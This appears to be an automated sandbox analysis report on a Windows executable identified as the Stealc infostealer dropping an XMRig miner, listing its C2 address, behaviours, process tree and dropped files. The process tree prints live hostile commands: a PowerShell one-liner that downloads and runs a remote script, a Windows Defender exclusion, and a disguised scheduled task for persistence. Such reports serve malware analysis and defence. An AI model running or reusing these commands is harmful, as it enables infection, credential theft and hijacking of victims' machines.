Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    27/11/2025, 04:48

General

  • Target
    f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
  • Size 1.2MB
  • Sample251127-fe873avqhm
  • SHA256 f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • stealc

Botnet
  • 60951K6TFIB72M8F1Z

C2
  • https://ggh5e4h54.cc

Attributes
  • url_path

    /c60508ab2db3b4.php

rc4.plain

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • Windows security bypass 2 TTPs 2 IoCs
  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe
    "C:\Users\Admin\AppData\Local\Temp\f12dad8424c063bf17208e7ac36cbfa1740b3cbea06bb220e5f74456bf7c7b6d.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5932
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5340
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:3936
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://62.60.226.251/downloads/ihrewq.ps1 |iex"
          2⤵
          • Windows security bypass
          • Badlisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4992
          • C:\Program Files\dotnet\dotnet.exe
            "C:\Program Files\dotnet\dotnet.exe" --list-runtimes
            3⤵
            • System Time Discovery
            PID:4912
          • C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
            "C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:544
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3184
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "MicrosoftWindowsServiceHost" /tr "'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe'" /sc onlogon /rl highest /f
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4864
            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe
              "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\ServiceHostApp.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5328
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Services' -Force"
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1988
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of FindShellTrayWindow
                PID:4548
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe
                "C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\RuntimeService.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of FindShellTrayWindow
                PID:3440
      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
        1⤵
          PID:3576
        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
          1⤵
            PID:6004

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt

                • Path C:\ProgramData\B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt
                • Size 64B
                • SHA256 ea143677a6ff51b69e084240afde40fe2d55cbe073d925296ee11b9c2cf74f1e
                • MD5 SHA1 SHA512

                B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt

                • Path C:\ProgramData\B26C0EE7-439C-C663-F0FF-A4BBB8972C93.txt
                • Size 64B
                • SHA256 a41f2f5d0691c89ce2d8cb2e20c02bb440fac7d7ecfccf1519dec7b005033a2a
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
                • MD5 SHA1 SHA512

                app.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Updater\app.exe
                • Size 5.9MB
                • SHA256 7a1e4f70eee2e623e59867467b1e9174faec5731d6e598a921f838d97f31677e
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 23KB
                • SHA256 dc130942c416c6a12f52fb23f375040b49f13b7a61947fe048e96533bb207a34
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 948B
                • SHA256 072cf1080f5981d5a4866e4773dd43958b6bbb80f6eacc79272c3372419d3fca
                • MD5 SHA1 SHA512

                config.json

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\config.json
                • Size 536B
                • SHA256 16c3eb2513c66cefa4281c5cef0fd67d0c087fe1563be835d1b4357a011e3c1f
                • MD5 SHA1 SHA512

                config.json

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\config.json
                • Size 2KB
                • SHA256 b8f0ee48cce509ce288b3f942bde6d43fb79bff0f6daaf2d59fc51e2c8e3b26b
                • MD5 SHA1 SHA512

                xmrig.exe

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Services\xmrig.exe
                • Size 6.2MB
                • SHA256 c5c778b114ed7fc605b1a76675a28cdb8dab1148910e40b6a4350c0cee1f940d
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_hcximzx1.vp5.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hcximzx1.vp5.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/3184-101-0x000001A7F5400000-0x000001A7F5422000-memory.dmp

                memory/4548-169-0x000001E382670000-0x000001E382690000-memory.dmp

                memory/4992-82-0x0000000009080000-0x000000000908E000-memory.dmp

                memory/4992-69-0x0000000008EF0000-0x0000000008F24000-memory.dmp

                memory/4992-87-0x0000000009230000-0x0000000009254000-memory.dmp

                memory/4992-86-0x0000000009200000-0x000000000922A000-memory.dmp

                memory/4992-85-0x00000000090D0000-0x00000000090D8000-memory.dmp

                memory/4992-84-0x00000000090E0000-0x00000000090FA000-memory.dmp

                memory/4992-83-0x0000000009090000-0x00000000090A5000-memory.dmp

                memory/4992-81-0x0000000009060000-0x0000000009071000-memory.dmp

                memory/4992-49-0x0000000004DE0000-0x0000000004E16000-memory.dmp

                memory/4992-50-0x00000000054F0000-0x0000000005B1A000-memory.dmp

                memory/4992-51-0x00000000053E0000-0x0000000005402000-memory.dmp

                memory/4992-52-0x0000000005480000-0x00000000054E6000-memory.dmp

                memory/4992-53-0x0000000005B90000-0x0000000005BF6000-memory.dmp

                memory/4992-80-0x0000000009030000-0x000000000903A000-memory.dmp

                memory/4992-60-0x0000000005D80000-0x00000000060D7000-memory.dmp

                memory/4992-61-0x0000000006290000-0x00000000062AE000-memory.dmp

                memory/4992-62-0x00000000066A0000-0x00000000066EC000-memory.dmp

                memory/4992-63-0x00000000078D0000-0x0000000007F4A000-memory.dmp

                memory/4992-64-0x00000000067B0000-0x00000000067CA000-memory.dmp

                memory/4992-65-0x0000000008700000-0x0000000008EA6000-memory.dmp

                memory/4992-66-0x0000000008490000-0x0000000008526000-memory.dmp

                memory/4992-67-0x00000000083F0000-0x0000000008412000-memory.dmp

                memory/4992-68-0x0000000009460000-0x0000000009A06000-memory.dmp

                memory/4992-79-0x0000000008F50000-0x0000000008FF4000-memory.dmp

                memory/4992-70-0x0000000070850000-0x000000007089C000-memory.dmp

                memory/4992-71-0x0000000070A60000-0x0000000070DB7000-memory.dmp

                memory/4992-78-0x0000000008F30000-0x0000000008F4E000-memory.dmp

                memory/5328-138-0x0000022464410000-0x0000022464420000-memory.dmp

                memory/5932-6-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-12-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-7-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-48-0x00007FF662310000-0x00007FF662449000-memory.dmp

                memory/5932-46-0x00007FF662310000-0x00007FF662449000-memory.dmp

                memory/5932-9-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-29-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-0-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-47-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-18-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-11-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-13-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-14-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-10-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-15-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-16-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-17-0x000001507D970000-0x000001507DA33000-memory.dmp

                memory/5932-8-0x000001507D970000-0x000001507DA33000-memory.dmp